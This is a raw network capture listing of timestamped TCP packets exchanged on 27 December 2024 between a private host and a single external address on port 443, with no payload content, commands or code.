Dec 27, 2024 20:44:00.047594070 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.047657013 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.047662973 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.047708035 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.071857929 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.071872950 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.071943045 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.071949959 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.071965933 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.071993113 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.072868109 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.072881937 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.073132992 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.073132992 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.073138952 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.073194981 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.083889008 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.083909035 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.084120989 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.084131002 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.084188938 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.223005056 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.223025084 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.223072052 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.223078966 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.223105907 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.223124981 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.229722023 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.229738951 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.229780912 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.229789019 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.229820013 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.229834080 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.235582113 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.235596895 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.235649109 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.235654116 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.235702991 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.242259979 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.242276907 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.242320061 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.242325068 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.242362022 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.242373943 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.249017954 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.249032974 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.249083042 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.249088049 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.249114990 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.249126911 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.255309105 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.255331039 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.255382061 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.255388021 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.255419016 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.255431890 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.262021065 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.262110949 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.262168884 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.262173891 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.262204885 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.262223005 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.290798903 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.290827990 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.290864944 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.290877104 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.290904999 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.290920019 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.424473047 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.424496889 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.424655914 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.424666882 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.424706936 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.431183100 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.431197882 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.431256056 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.431262016 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.431299925 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.437289000 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.437304020 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.437360048 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.437366009 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.437402010 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.443733931 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.443748951 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.443804026 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.443809986 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.443849087 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.450473070 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.450489044 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.450541973 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.450548887 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.450586081 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.456756115 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.456769943 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.456819057 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.456824064 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.456861019 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.463584900 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.463599920 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.463660002 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.463665962 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.463705063 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.514260054 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.514278889 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.514441013 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.514448881 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.514488935 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.628575087 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.628638983 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.628664970 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.628712893 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.628732920 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.628783941 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.632931948 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.632953882 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.633023024 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.633029938 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.633069992 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.639560938 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.639580965 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.639635086 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.639642000 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.639678001 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.645503998 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.645519972 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.645571947 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.645577908 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.645612955 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.652277946 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.652292967 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.652352095 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.652358055 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.652390003 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.657938004 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.657954931 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.658014059 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.658019066 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.658056974 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.665224075 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.665240049 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.665327072 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.665333986 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.665370941 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.716084957 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.716110945 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.716170073 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.716180086 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.716213942 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.827022076 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.827039003 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.827086926 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.827095032 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.827124119 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.833779097 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.833795071 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.833842039 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.833858967 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.833900928 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.840410948 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.840425968 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.840478897 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.840485096 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.840517044 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.847178936 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.847193956 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.847245932 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.847253084 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.847289085 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.853101015 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.853116035 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.853172064 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.853178978 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.853216887 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.859432936 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.859447956 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.859497070 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.859503984 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.859541893 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.866133928 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.866148949 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.866202116 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.866208076 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.866244078 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.917682886 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.917709112 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.917807102 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.917814970 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.917857885 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.029406071 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.029428959 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.029556036 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.029573917 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.029617071 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.036220074 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.036237955 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.036336899 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.036355019 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.036431074 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.042769909 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.042788982 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.042882919 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.042900085 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.042941093 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.048710108 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.048727036 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.048788071 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.048796892 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.048865080 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.055444002 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.055459023 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.055643082 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.055651903 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.055699110 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.061775923 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.061794043 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.061891079 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.061901093 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.061944962 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.068473101 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.068496943 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.068562031 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.068572044 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.068605900 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.226001978 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.226027966 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.226145983 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.226166010 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.226211071 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.231389999 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.231408119 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.231492043 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.231501102 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.231539965 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.238075018 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.238091946 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.238146067 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.238154888 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.238231897 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.243910074 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.243925095 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.244103909 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.244112968 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.244155884 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.250646114 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.250662088 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.250724077 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.250735044 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.250771046 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.257431984 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.257451057 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.257514954 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.257533073 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.257570982 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.264019966 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.264041901 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.264115095 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.264125109 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.264164925 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.270306110 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.270325899 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.270390987 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.270406961 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.270443916 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.427356005 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.427372932 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.427464962 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.427483082 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.427522898 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.432488918 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.432502985 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.432550907 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.432558060 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.432601929 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.439099073 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.439111948 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.439281940 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.439287901 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.439337969 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.445816994 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.445832968 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.445890903 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.445898056 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.445935011 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.452596903 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.452610970 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.452653885 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.452658892 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.452687979 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.458453894 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.458467960 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.458518982 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.458523989 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.458550930 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.465243101 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.465257883 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.465316057 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.465322018 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.465362072 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.471553087 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.471570015 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.471626997 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.471635103 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.471659899 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.471672058 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.643763065 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.643785954 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.643871069 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.643878937 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.643923044 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.649164915 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.649180889 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.649254084 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.649260044 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.649296045 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.655972958 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.655987978 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.656040907 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.656047106 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.656088114 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.662545919 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.662563086 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.662748098 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.662754059 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.662796974 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.668472052 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.668492079 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.668549061 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.668554068 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.668590069 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.675195932 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.675210953 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.675260067 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.675265074 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.675298929 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.681871891 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.681893110 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.681960106 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:01.681966066 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:01.681997061 CET	49730	443	192.168.2.4	172.67.153.170
